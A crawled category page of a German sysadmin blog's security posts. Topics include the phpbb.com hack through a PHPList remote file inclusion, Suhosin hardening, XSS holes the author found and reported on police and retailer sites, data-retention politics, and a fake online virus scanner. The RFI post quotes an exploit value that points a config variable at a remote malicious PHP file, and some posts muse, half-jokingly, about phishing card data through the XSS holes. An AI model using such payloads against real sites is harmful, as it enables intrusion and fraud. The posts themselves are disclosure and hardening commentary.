Source: https://www.robhost.de/adminblog/categories/10-Security
Timestamp: 2018-07-23 05:55:50+00:00

Document:
RT @slith76: No, really. Use Zsh. - IFHO http://t.co/rfm2Ywc46 years ago
Neu im Blog: Datenbankstrukturen visualisieren http://t.co/T8XYZA1j6 years ago
Neu im Blog: Multiuser-GIT-Repos mit Gitolite (Debian Squeeze) http://t.co/IA6rjTvA6 years ago
Oha, Windows8 hat sowas wie TimeMachine eingebaut. Gute Sache. http://t.co/R7R0B1kX6 years ago
Neu im Blog: Synergy - Cleveres Software KVM http://t.co/UwggNh7R6 years ago
Neu im Blog: Git f?r Beginner - Teil 1 http://t.co/5eLmEHaM6 years ago
Neu im Blog: multitail - Ein Auge auf den Logs http://t.co/9KRfRWPm6 years ago
Neu im Blog: Das Problem mit der Schaltsekunde http://t.co/mxUgpm9J6 years ago
Falls ihr komische Lastprobleme auf Linux-Systemen habt (v.A. Debian), ist evtl. die Schaltsekunde schuld: http://t.co/2kkmMlk66 years ago
Neu im Blog: Composer - Einfaches Dependency Management f?r PHP http://t.co/VjxK30yJ6 years ago
Das Blog wurde eben auf die aktuelle Version von S9Y aktualisiert (http://t.co/B3rd1s19). Bei Problemen/Fehlern bitte melden :)6 years ago
Neu im Blog: owncloud - die eigene Wolke! http://t.co/iack8ocO6 years ago
Auch eine Idee: Hello World in MS Paint geschrieben - http://t.co/E2bJdD9g6 years ago
Chrome 20 ver?ffentlicht ... gro?er Versionssprung, aber au?er Bugfixes kaum ?nderungen. http://t.co/39v5j2s56 years ago
Neu im Blog: Pakete vom Update aussschlie?en (Debian/Ubuntu) http://t.co/rwEZunFw6 years ago
Neu im Blog: Eine Domain komplett via RewriteRule weiterleiten http://t.co/duwIMIUF6 years ago
RT @cyman_de: FreeNAS updates to v8.0.3 and is rid of some rubbish and small enough to fit on most usb sticks. netatalk works now with lion7 years ago
Allen Lesern einen guten Rutsch und ein ein frohes neues Jahr. Unser guter Vorsatz: Mehr bloggen!7 years ago
RT @slith76: Vim: revisited http://t.co/GIdKrKMz7 years ago
So sieht es aus, wenn Kunden einen Newsletter rausschicken :) #mailgraph http://t.co/ULg29jon7 years ago
FreeBSD Buchverlosung: http://t.co/a9t1MZO07 years ago
RT @jcfrick: Die Cloud hat halt auch Nachteile ;-) http://t.co/vxqdcl6G7 years ago
Neu im Blog: US-Proxy f?r YouTube und Co. bei Server4You - das war wohl nix http://t.co/UWow2jzp7 years ago
Neu im Blog: Iphone 4S gestohlen, Telekom hilft nicht http://t.co/r57REuwI7 years ago
Ich habe schon seit einer halben Ewigkeit eine Originalversion von G DATA Internet Security 2009 im Wert von 39,95 EUR hier umliegen. Im Rahmen einer Promotion-Aktion wurde mir diese Version samt Lizenz von einer Agentur zugeschickt. Es bestand die Hoffnung, dass ich darüber blogge und davon berichte - tue ich ja jetzt im Grunde auch
Leider habe ich ja nun schon seit einer halben Ewigkeit kein Windows mehr im Einsatz, daher verstaubte die Packung hier mehr und mehr. Damit ist jetzt Schluss, denn ich verschenke die Lizenz an einen unserer lieben Leser. Liefern kann ich den Gewinn per Post, ansonsten mache ich auch gerne eine ISO und schicke dem Gewinner dann den Key. Wäre zumindest eher würdig für das Admininistrator's Blog.
Um zu gewinnen, reicht ein Twitter-Link (aka Retweet) zu dem Gewinnspiel hier oder ein Kommentar zu diesem Blogpost. Hoffentlich will das überhaupt Einer haben noch ..
Am Samstag werde ich den Gewinner dann kontaktieren..
Geschrieben von Robert Klikics in Security um 15:21 | Kommentar (1) | Trackbacks (5)
phpbb.com gehackt - PHP auf dem Server absichern!
Eben las ich, dass phpbb.com gehackt wurde und deshalb die Seite derzeit nicht erreichbar ist. Glücklichweise wurde diesmal nicht (wie schon so oft...) die Forensoftware selbst Opfer der eigenen Sicherheitslücken, sondern eine Installation des Newsletter-Managers PHPList. Das macht es natürlich nicht wirklich besser, erspart mir aber die Suche nach Problemen bzw. Updates der eigenen phpBB-Installationen.
Ich habe hier mal ein paar Fakten aus dem Heise-Forum aufbereitet, die offenbar von Stefan Esser (PHP-Autor und Entwickler des Suhosin-Patches) gepostet wurden:
Grund war ein Remote File Inclusion Problem, das durch einen Superglobals-Overwrite (dabei werden die Superglobalen-Variablen von PHP überschrieben, siehe auch hier) ausgelöst wurde. Hier wurde seitens PHPList schlampig programmiert, um "register_globals=off" zu umgehen oder sowas. Dabei wird beispielsweise oft fälschlicherweise der folgende Code verwendet, um GET/POST/COOKIE-Variablen später einfach verwenden zu können:
Im Exploit wurde dann die Variable $_SERVER[ConfigFile]=../local-file../ einfach mit $_SERVER[ConfigFile]=ftp://www.bla.com/bad_code.php überschrieben. Da zur Prüfung der Variable dann is_file() benutzt wurde, lieferte PHP keinen Fehler. Seit PHP5 wird stat() nämlich auch vom ftp:// - Protokoll unterstützt.
Der zur Verfügung gestellte Bugfix behebt dieses Problem nun durch eine recht banale Lösung:
if (isset($_REQUEST['_SERVER'])) {
Hier werden allerdings die zahlreichen anderen Superglobals wie $GLOBALS, $_GET, $_POST, $_REQUEST usw. nicht abgefangen. Damit könnten eventuell weitere Variablen im Script überschrieben werden und das nächste Leck ist offen.
Abhilfe schafft hier zweifelsfrei Suhosin, da hier konsequent GET/POST/COOKIE-Variablen mit den entsprechenden Namen ($_GLOBALS usw.) ignoriert und dementsprechend im Script auch nicht registriert werden. Ich habe eigentlich auf sämtlichen Servern seit einer ganzen Weile Suhosin laufen (via Debian auch als Paket installierbar) und kann nur Positives berichten. Probleme mit Scripten sind mir bisher nicht ein einziges Mal untergekommen.
Im Apache-Errorlog kann man dann, je nach Loglevel, auch die verhinderten Aktionen einsehen. Das sieht dann beispielsweise so aus:
suhosin[3077]: ALERT - tried to register forbidden variable '_REQUEST' through GET variables (attacker '1xx.xxx.xxx.xxx', file '/www/.../index.php')
suhosin[635]: ALERT - configured GET variable value length limit exceeded - dropped variable 'variablen_name' (attacker '1xx.xxx.xxx.xxx', file '/www.../s.php')
suhosin[14381]: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'cutepath' (attacker '1xx.xxx.xxx.xxx, file '/www/.../tools.php')
Da sich in den Logs mitunter täglich hunderte solcher Einträge finden lassen, kann ich jedem Webserver-Admin nur empfehlen, PHP mit Suhosin abzusichern!
Geschrieben von Robert Klikics in Security um 11:49 | Kommentare (0) | Trackbacks (0)
XSS-Lücke bei der Polizei Sachsen
Heute stöberte ich bezüglich einiger Info's zum Thema auf der Website der Polizei Sachsen. Dabei fiel mir sofort auf, dass der Text auf bestimmten öffentlichen Bereichen der Website teilweise via GET-Variablen an ein ASP-Script weitergegeben wird. Das weckte natürlich sofort meine Neugier.
Als dann ein testweise selbst via URL eingegebener Text ebenfalls auf der Website erschien, war klar, es handelt sich um eine XSS-Lücke. Selbst kompletter HTML-Code lässt sich problemlos einschleusen, wie der Screenshot anhand eines Bildes beweist (der Rest der URL sowie Info's darüber, um welche Unterseite es sich konkret handelt, wurden sicherheitshalber entfernt). Natürlich habe ich die Beamten sofort entsprechend über die Misstände im eigenen Webauftritt via Mail informiert - eine Antwort steht aber bisher noch aus.
Natürlich hoffe ich, dass die Lücke umgehend geschlossen wird, denn mit "seiner eigenen" Polizeiseite, deren URL seriös mit http://polizei.sachsen.de... beginnt, könnte z.B. ein Botnetzbetreiber anhand einiger Millionen Spams massiv Unsinn treiben. In der Vergangenheit war es bisher allerdings leider so, dass gar keine (MediaMarkt, Saturn) oder extreme unprofessionelle Reaktionen (Tchibo.de) auf meine Hinweise erfolgten.
Geschrieben von Robert Klikics in Security um 13:35 | Kommentare (2) | Trackbacks (0)
Ausweitung der Vorratsdatenspeicherung? Panikmache 2.0?
Ich bin ganz klar gegen die Vorratsdatenspeicherung, war sogar auf einer Demo dagegen und habe Beschwerde beim Verfassungsgericht im Zuge der Sammelklage eingereicht. Irgendwie irritierend find ich trotzdem die Vielzahl an Meldungen, die gestern in der News- und Blogszene zu melden waren. So wird über die Ausweitung der Vorratsdatenspeicherung im Zuge eines neues BSI-Gesetzes diskutiert, die hier im Detail zu lesen ist (PDF).
Der Arbeitskreis Vorratsdatenspeicherung hat direkt dazu eine Pressemitteilung herausgegeben, was ich auch sehr begrüße. Weniger schön ist, dass die Mittleitung ein wenig reißerisch geschrieben ist. Prinzipiell ist es ja gut, die Leute zu sensibilisieren und mobil gegen die neuerlichen Einschränkungen in Sachen Datenschutz zu machen, bei den Fakten sollte man aber schon bleiben. In den Kommentaren auf der Protestseite, wo auch die jeweiligen Ansprechpartner aus Bundestag, Bundesrat und Bundesregierung zu finden sind, wurde das bereits diskutiert.
Ich möchte die Punkte hier aber nochmal aufgreifen, um einige Tatsachen richtig zu stellen:
Es heißt im Entwurf des § 15 Abs. 9 TMG, dass der Diensteanbieter Nutzungsdaten speichern darf. Er darf, muss aber nicht. Kein Webserverbetreiber wird gezwungen, überhaupt etwas mitzuloggen. Man kann auch anonymisiert (ohne IP etc.) oder eben gar nicht loggen.
Es wird laut Gesetzesbegründung nur die kurzfristige Speicherung erlaubt. Wollte der Staat die Daten zum Zweck der Überwachung haben, hätte er eine längere Speicherfrist ins Gesetz geschrieben. Die erhobenen Nutzerdaten sind nach Analyse und Erkennung von Sicherheitsproblemen sofort zu löschen - und dienen auch nur dazu.
Es gibt keinen Auskunftanspruch für Polizei, Strafverfolgungsbehörden, Geheimdienste oder Inhaber von Nutzungsrechten. § 15 Abs. 5 Satz 3 schreibt die analoge Anwendung von § 14 Abs. 2 TMG vor. § 15 Abs.5 befasst sich aber nur mit der Weitergabe von Abrechnungsdaten. Dabei hat der Gesetzgeber es für nötig befunden, per Klammerdefinition in § 15 Abs. 3 TMG ausdrücklich zu definieren, was Abrechnungsdaten sind.
Die Punkte sind also nicht ganz so drastisch, wie auf manchen Blogs und Websites dargestellt. Dennoch sollten wir aus der IT-Branche natürlich weiterhin gegen jede Einschränkung des Datenschutzess vorgehen - daher sind die Kontaktdaten auf den Seiten des AK-Vorratsdatenspeicherung sehr hilfreich. Am besten wäre natürlich trotzdem die Entfernung der neuen Speicherungs-Passagen aus dem Entwurf - das steht außer Frage.
Ich bin mir aber recht sicher, dass eine sehr hohe Prozentzahl der Webserver da draußen seit jeher die IP's mitspeichert (z.B. im Apache-Common Logformat) und nur ein kleiner Prozentsatz davon die Logs regelmäßig löscht. Da keine genaue Prüfung erfolgt, wer wie was speichert, werden mit Sicherheit schon Nutzerprofile usw. erstellt. Einige geben es immerhin gleich zu, so speichert Google die IP's z.B. (natürlich soweit anonymisiert ...) "nur" 9 Monate.
Auch die Begründung, StudiVZ, Amazon und Co. könnten dann bessere Nutzungsprofile erstellen, erscheint mir ein wenig sinnfrei zu sein. Dort ist man doch sowieso mit seinem eigenen Account unterwegs, hat also mindestens schonmal eine gültige E-Mail und meistens noch weitere Daten angegeben. Die brauchen also nicht wirklich die IP's, um eventuelle Nutzerprofile zu erstellen.
Geschrieben von Robert Klikics in Security um 09:32 | Kommentare (2) | Trackbacks (0)
Anti-Kinderporno-Filter noch dieses Jahr
Unsere liebe Familienministerin hat es geschafft: Der Anti-Kinderporno-Filter für das Internet kommt wohl noch in diesem Jahr bei allen ISP's zum Einsatz. Damit sollen dann Zugriffe auf dem BKA bekannte Kinderporno-Seiten verhindert werden. Inwieweit dann auch gleich IP & Co. ans BKA gehen, ist bisher noch nicht bekannt.
Dass Kinderporno-Seiten vom Netz müssen bzw. deren Betreiber bestraft, ist klar. Ob allerdings ein weiterer Einschnitt in die Surf- und Freiheitsgewohnheiten der Bundesbürger dazu der rechte Weg ist, bezweifel ich. Denn mit diesem recht mächtigen Instrument ist es dem BKA bzw. der Regierung dann natürlich möglich, jede beliebige Seite zu filtern und eventuell sogar die personenbezogenen Daten wie IP's der potentiellen Besucher herauszufinden. Was man mit derartigen Mitteln so machen kann, sieht man beispielsweise an China.
Ob diese Massnahmen auch wirklich helfen und die Kriminalität nachweislich senken, darf ebenfalls bezweifelt werden.
Geschrieben von Robert Klikics in Security um 13:38 | Kommentare (8) | Trackbacks (0)
1984 aka 2009
3 Tage ist das Jahr 1984 2009 nun alt, das heisst das bereits 3 Tage lang die Daten von allen Internetverbindungen, eMails und VOIP-Gesprächen gespeichert und den Behörden zugänglich gemacht werden müssen. In welcher Form die Daten aber gespeichert werden soll, ist bisher unklar. Die großen Provider haben aber allesamt die entsprechenden Vorkehrungen getroffen und speichern fortan für 6 Monate, was das Zeug hält. Dass es hier um Milliarden von Verbindungsdaten uns somit TeraByte's an Daten geht, kann man sich sicher vorstellen - und zwar jeden Tag!
Ein kleiner Lichtblick ist hier ganz klar der Hoster manitu.net, der sich auf seiner Seite klar gegen die Speicherung ausspricht (siehe Bild rechts). Es wäre wünschenswert, wenn andere Provider und Hoster folgen würden, vor Allem aus den Reihen der "Großen". Das Berliner Landgericht hatte ja BT Deutschland (British Telecom) im Oktober zugestanden, die Vorratsdatenspeicherung aussetzen zu dürfen. Warum sollte das dann nicht auch für andere Carrier, Provider, Hoster etc. gelten?
Gespannt darf man auch darauf sein, was aus unserer Sammelklage (mit "uns" meine ich hier 34.000 Bundesbürger, die motiviert durch den Arbeitskreis Vorratsdatenspeicherung Klage beim Verfassungsgericht eingereicht haben). Die endgültige Entscheidung des Gerichtes steht ja noch aus, man wartet wohl auf die Entscheidung auf europäischer Ebene - Irland hatte ja glücklicherweise gegen dieses Vorhaben ebenfalls geklagt.
Das weitere Highlight dieses Jahres ist zweifellos der "Bundestrojaner". So ist es seit 1.1. nicht auszuschließen, dass der eigene Rechner von den Behörden infiltriert wird. Allerdings wird das natürlich nur bei erhöhtem Terrorverdacht, Landesverrat oder nach dem Download von MP3's via BitTorrent eingesetzt. BKA-Präsident Ziercke geht von maximal 3-4 Installationen in diesem Jahr aus. Man kann also gespannt sein. Besonders erheiternd ist die Tatsache, dass nach den neuesten Einschränkungen des Bundesverfassungsgerichtes die Wohnung des zu bespitzelndes Opfers nicht betreten werden darf, um z.B. Software zu installieren oder Keylogger anzubringen. Es wird dann wohl auf Installationsversuche via eMails oder präparieren Websites hinauslaufen. Die Chancen dafür stehen aber recht schlecht, zumindest wenn nicht Software- und Security-Firmen eingeweiht sind. Ich freue mich zumindest auf die ersten Berichte von disassemblierten Bundestrojanern, die dann im Quelltext für Jedermann zur Verfügung stehen ...
In diesem Sinne ein gesundes Jahr 1984, und jede Menge Datensicherheit!
Geschrieben von Robert Klikics in Security um 17:28 | Kommentare (3) | Trackbacks (0)
Seltsames JavaScript in Homepage eingebunden - Sinn und Ursprung unbekannt
Ein Bekannter von mir hatte unlängst auf seinem Windows-PC einen Virus- bzw. Trojaner, der dort eine Weile sein Unwesen trieb. Um welchen Störenfried es sich dabei genau gehandelt hat, weiss ich leider nicht. Nachdem der Schadcode von seinem Rechner entfernt war, fiel ihm allerdings auf, dass sich auf seiner Website etwas verändert hat. Und zwar wurde dort schädliches JavaScript eingefügt. Zur Betrachtung im Textformat habe ich das Ganze hier hochgeladen.
Meine Analyse ergab allerdings nicht wirklich ein brauchbares Ergebnis - auf jeden Fall wird irgendwelches wirr kodiertes JS aus dem initialen String etwas verändert und anschließend via eval() ausgeführt. Was der Code aber genau macht, habe ich leider nicht herausfinden können. Vielleicht hat das ein Leser hier eine zündende Idee?
Ebenso unklar bleibt, wie der Code denn nun in das Index-Dokument seiner Website kam, die bei einem beliebigen ISP gelagert ist. Sollte der Trojaner tatsächlich das FTP-Programm, Dreamweaver oder gar Eclipse bemüht haben, um den Code auf die Seite hochzuladen? Es kann natürlich auch sein, dass der lokale Virus und das mutmaßlich schädliche JS auf dem Server des Providers in keinem Zusammenhang stehen. Im schlimmsten Fall ist gar der komplette Server beim ISP kompromittiert. Auf dem Webserver des Providers scheint aber wenigstens Linux mit Apache und PHP 4.4.9 zu laufen - das ergibt sich zumindest aus den Header-Informationen des Webservers.
Geschrieben von Robert Klikics in Security um 11:06 | Kommentare (4) | Trackback (1)
Online-Virenscanner meldet Fehler auf C: - unter Linux
Vor 2-3 Tagen bin ich bei Streifzügen in der "dunklen Seite des Internets", sprich Sex- und Warezseiten, auf ein lustiges Fundstück gestoßen. Aber erstmal noch kurz zur Rechtfertigung: Ich war auf dieser Art von Seiten tatsächlich nur unterwegs, um für mein Antispam-Projekt neue Spamversender zu "gewinnen" - ohne Mist
Plötzlich schob sich ein besonders tolles Popup auf meinen Bildschirm, in welchem offenbar ein Online-Malwarescanner sofort anfing, meine Festplatte C: nach Viren und Malware zu durchsuchen. Dumm nur, dass ich gar kein C: im Angebot hatte, schließlich spielte sich der Spaß auf meinem Linux-Laptop ab.
Ich ließ den "Scan" (offensichtlich ein GIF) also mal durchlaufen, das dauerte auch zum Glück nicht lange. Und dann der Schreck: 61 Fehler wurden gefunden. Die imaginäre Festplatte C: schien ebenso wie "Lokale Einstellungen" infiziert zu sein - was auch immer "Lokale Einstellungen" sind. Glücklichweise wurden die Bösewichte auch gleich aufgelistet, so gab es wohl allein 69 mit "Trojan.Mytob.Mailer" infizierte Objekte. Jedem Menschen mit minimalen mathematischen Fähigkeiten fällt gleich auf: Bei 61 Fehlern insgesamt sind 69 infizierte Elemente mit "Trojan.Mytob.Mailer" irgendwie seltsam
Zum Glück konnte man dort "Antivirus 360" gleich als .exe-Datei herunterladen. Das hat mir freilich unter Linux nichts genützt. So werde ich wohl noch Tage mit der Suche nach den Viren, Trojanern und, vor Allem, nach der Festplatte C: verbringen ...
Achja, die Website mit diesem tollen Scanner (onlinemalwarescanner.com) scheint inzwischen down zu sein. Was dem ahnungslosen Internet-User dort tatsächlich untergejubelt werden sollte, lässt sich nur erahnen. Vermutlich aber genau die Sachen, vor denen ein echter Viren- und Malwarescanner normalerweise schützt.
Geschrieben von Robert Klikics in Security um 22:47 | Kommentare (12) | Trackbacks (0)
saturn.de und mediamarkt.de mit XSS-Löchern
Zur Weihnachtszeit stehen Technik-Artikel natürlich oft wieder ganz oben auf der Wunschliste. Bei meinen abendlichen Surfsessions landete ich gestern dann irgendwann auf mediamarkt.de und auch saturn.de. Als Gag versuchte ich mal dann einfach mal, ein Formular via XSS zu manipulieren. Und siehe da, es funktionierte
So lassen sich auf beiden Seiten (die ja irgendwie sowieso via METRO zusammenhängen) die Newsletter-Formulare für XSS missbrauchen. Bei saturn.de geht das besonders schön, da man wie in einem CMS die Seite komplett mit eigenen Inhalten füllen kann, während das Design erhalten bleibt (siehe Screenshot). Ich habe einfach mal meinen geliebtes "Stallowned" - Banner und ein Fake-Formular samt Fake-Text eingefügt. Wenn man jetzt ein wenig mehr Arbeit reinsteckt und ein entsprechendes Botnetz zum Spamversand bereitstehen hat, kann man sicher binnen weniger Stunden jede Menge Kreditkartennummern und Kontodaten mit Fake-Schnäppchen abfangen. Der Fantasie sind hier praktisch keine Grenzen gesetzt. Eine Vielzahl von Usern würde die Seite durchaus für vertrauenswürdig halten, steht doch in der Browserleiste seriöserweise http://www2.saturn.de/ ...
Auf mediamarkt.de integriert sich der eigene Inhalt zwar nicht so schön ins Design, die Schwachstelle könnte man aber trotzdem problemlos ausnutzen, um z.B. Bank- oder Kundendaten abzufangen. Zumal hier sogar der Aufruf via https:// möglich ist, wenn auch nicht mit dem korrekten Zertifikat dafür. Ältere Browser dies jedoch soweit ich weiss nicht immer.
Die Unternehmen tun also auch hier gut daran, die Fehler schnellstens zu beheben. Ich habe natürlich jeweils den Webmaster darüber informiert, eine Antwort steht bisher noch aus. Mal schauen ob hier mehr Kompetenz im Spiel ist, als damals bei der XSS-Lücke auf Tchibo.de
Geschrieben von Robert Klikics in Security um 13:28 | Kommentare (2) | Trackbacks (0)
Tchibo hat XSS-Lücke endlich geschlossen
Ich kann nicht genau sagen, wann sie es getan haben, aber sie haben die von mir mehrfach angemahnte XSS-Lücke (siehe auch hier) im Tchobo-Intershop endlich geschlossen. Ein Lob erspar ich mir an dieser Stelle, denn die Dauer bis zum Fix war mehr als peinlich. Wahrscheinlich war es nichtmal Tchibo selbst, sondern ein Intershop-Update. Wir werden es nie erfahren ...
Wenn ich mal ein paar Minuten Zeit und Lust habe, suche ich für die geneigte Leserschaft weitere XSS-Fundstücke - versprochen!
Geschrieben von Robert Klikics in Security um 09:40 | Kommentare (0) | Trackbacks (0)
perl.com leitet durch fremdes JavaScript auf "Pornoblog"
Wie ich zu meiner Erheiterung eben auf Heise gelesen habe, leitet perl.com neuerdings auf ein dubioses Blog (grepblogs.net) weiter, wo mit Erotik-Inhalten geworden wird. Witzigerweise gehört diese Domain aber Tom Christiansen, einem bekannten Perl-Entwickler. Offenbar hat er versucht, sich ein zweites Standbein aufzubauen, wenns mit PERL mal nicht mehr so klappt Das PERL-Hauptquartier unter perl.org ist aber weiterhin problemlos erreichbar.
Dies ist auf jeden Fall mal wieder ein tolles Beispiel dafür, dass man fremde JavaScript nicht auf seiner Seite einbinden sollte. Schuld ist hier nämlich ein JavaScript-Include, das folgendermaßen aussieht:
<script src="http://grepblogs.net/adx.js" type="text/javascript" language="JavaScript">
Normalerweise liefert dieses Script wahrscheinlich nur ein Banner oder so etwas aus, in diesem Fall aber eben eine nette Weiterleitung
Besonders toll wäre dieses Szenario, wenn mal wer ein paar Server von Google-Analytics hackt. Dann könnte ein Angreifer quasi das halbe Internet manipulieren und auf eigene Server umleiten. Schließlich haben millionen von Webseiten das Google-Analytics-JavaScript bei sich eingebunden. Unter Anderem auch diverse von mir betriebene Projekte. Bei Google sollte der Sicherheitsstandard zwar entsprechend hoch sein, generell ist dies aber kein netter Gedanke. Zumal ja nichtmal Google schuld sein muss, schließlich würde DNS-Spoofing auch schon reichen, um google-analytics.com umzuleiten ...
Geschrieben von Robert Klikics in Security um 15:09 | Kommentare (0) | Trackbacks (0)
Tchibo-Support erheitert mich langsam aber sicher ;)
Nachdem ich mich die Tage mit einer Nasennebenhöhlenentzündung rumgeplagt habe bzw. immernoch rumplage (daher meine geringer Aktivität hier) ist von Tchibo.de bereits die nächste kompetente Antwort auf die von mir entdeckte XSS-Lücke eingetroffen. Schockierenderweise sah die Antwort diesmal so aus:
Sehr geehrter Herr Klikics,
Das Problem ist bekannt. Soweit uns bekannt ist, wird dies bei den wichtigen Seiten unterbunden.
Sie können uns gerne einen Tipp schicken, damit wir weiter Verbesserungen machen können.
Ist nicht wahr, oder? Entweder man unterbindet XSS konsequent oder man lässt es. Schließlich spielt es im Falle eines Missbrauchs doch keine Rolle, wo genau der User seine Kreditkartennummer an den Phisher übermittelt. Als "Tipp" habe ich diesmal geantwortet, dass man HTML-Tags prinzipiell aus Userangaben entfernen sollte, vor Allem wenn man die Userangaben nach dem Absenden eines Formulares noch einmal anzeigt. Mal schauen ob ich erneut eine so tolle Antwort erhalte.
Im Grunde hätte ich die Lücke (die natürlich immernoch besteht) vielleicht lieber aktiv nutzen sollen, anstatt mich mit dem Support rumzuschlagen. Für eine Senseo-Maschine z.B. für 29,99 EUR hätten doch sicher jede Menge Leute ihre Kreditkartennummer an mich übermittelt, oder?
Geschrieben von Robert Klikics in Security um 11:39 | Kommentar (1) | Trackback (1)
Tchibo.de-Support kann mit XSS-Lücke nichts anfangen
Nachdem ich vor einigen Tagen eine XSS-Lücke auf tchibo.de entdeckt hatte, antwortete mir der sofort informierte Support heute leider sehr unzureichend auf die Info zur Schwachstelle in der eigenen Webseite. Offenbar vermutet der Mensch im Support, dass ich das sinnlose "Stallowned"-Bild mit in meine Empfehlungs-eMail packen will. Sehr interessant, diese Vermutung
Meine Erwähnungen von "XSS-Lücke" und "Sicherheitsproblemen" wurden großzügig übersehen und ignoriert, so dass ich leider Opfer dieser Standardantwort wurde:
Die Angaben der fett markierten Felder benötigen wir, um Ihre Empfehlung bearbeiten zu können.
Diese sind bei Ihnen nicht gefüllt.
Das "eingefügte" Bild kann nicht mitgesendet werden.
Aber natürlich lasse ich nicht locker und habe erneut mit der Bitte um Weiterleitung meiner Info's an die IT geantwortet. Mal schauen, was nun zurückkommt ...
Geschrieben von Robert Klikics in Security um 12:23 | Kommentare (3) | Trackbacks (0)

References: § 15
 § 15
 § 14
 § 15
 § 15
in dubio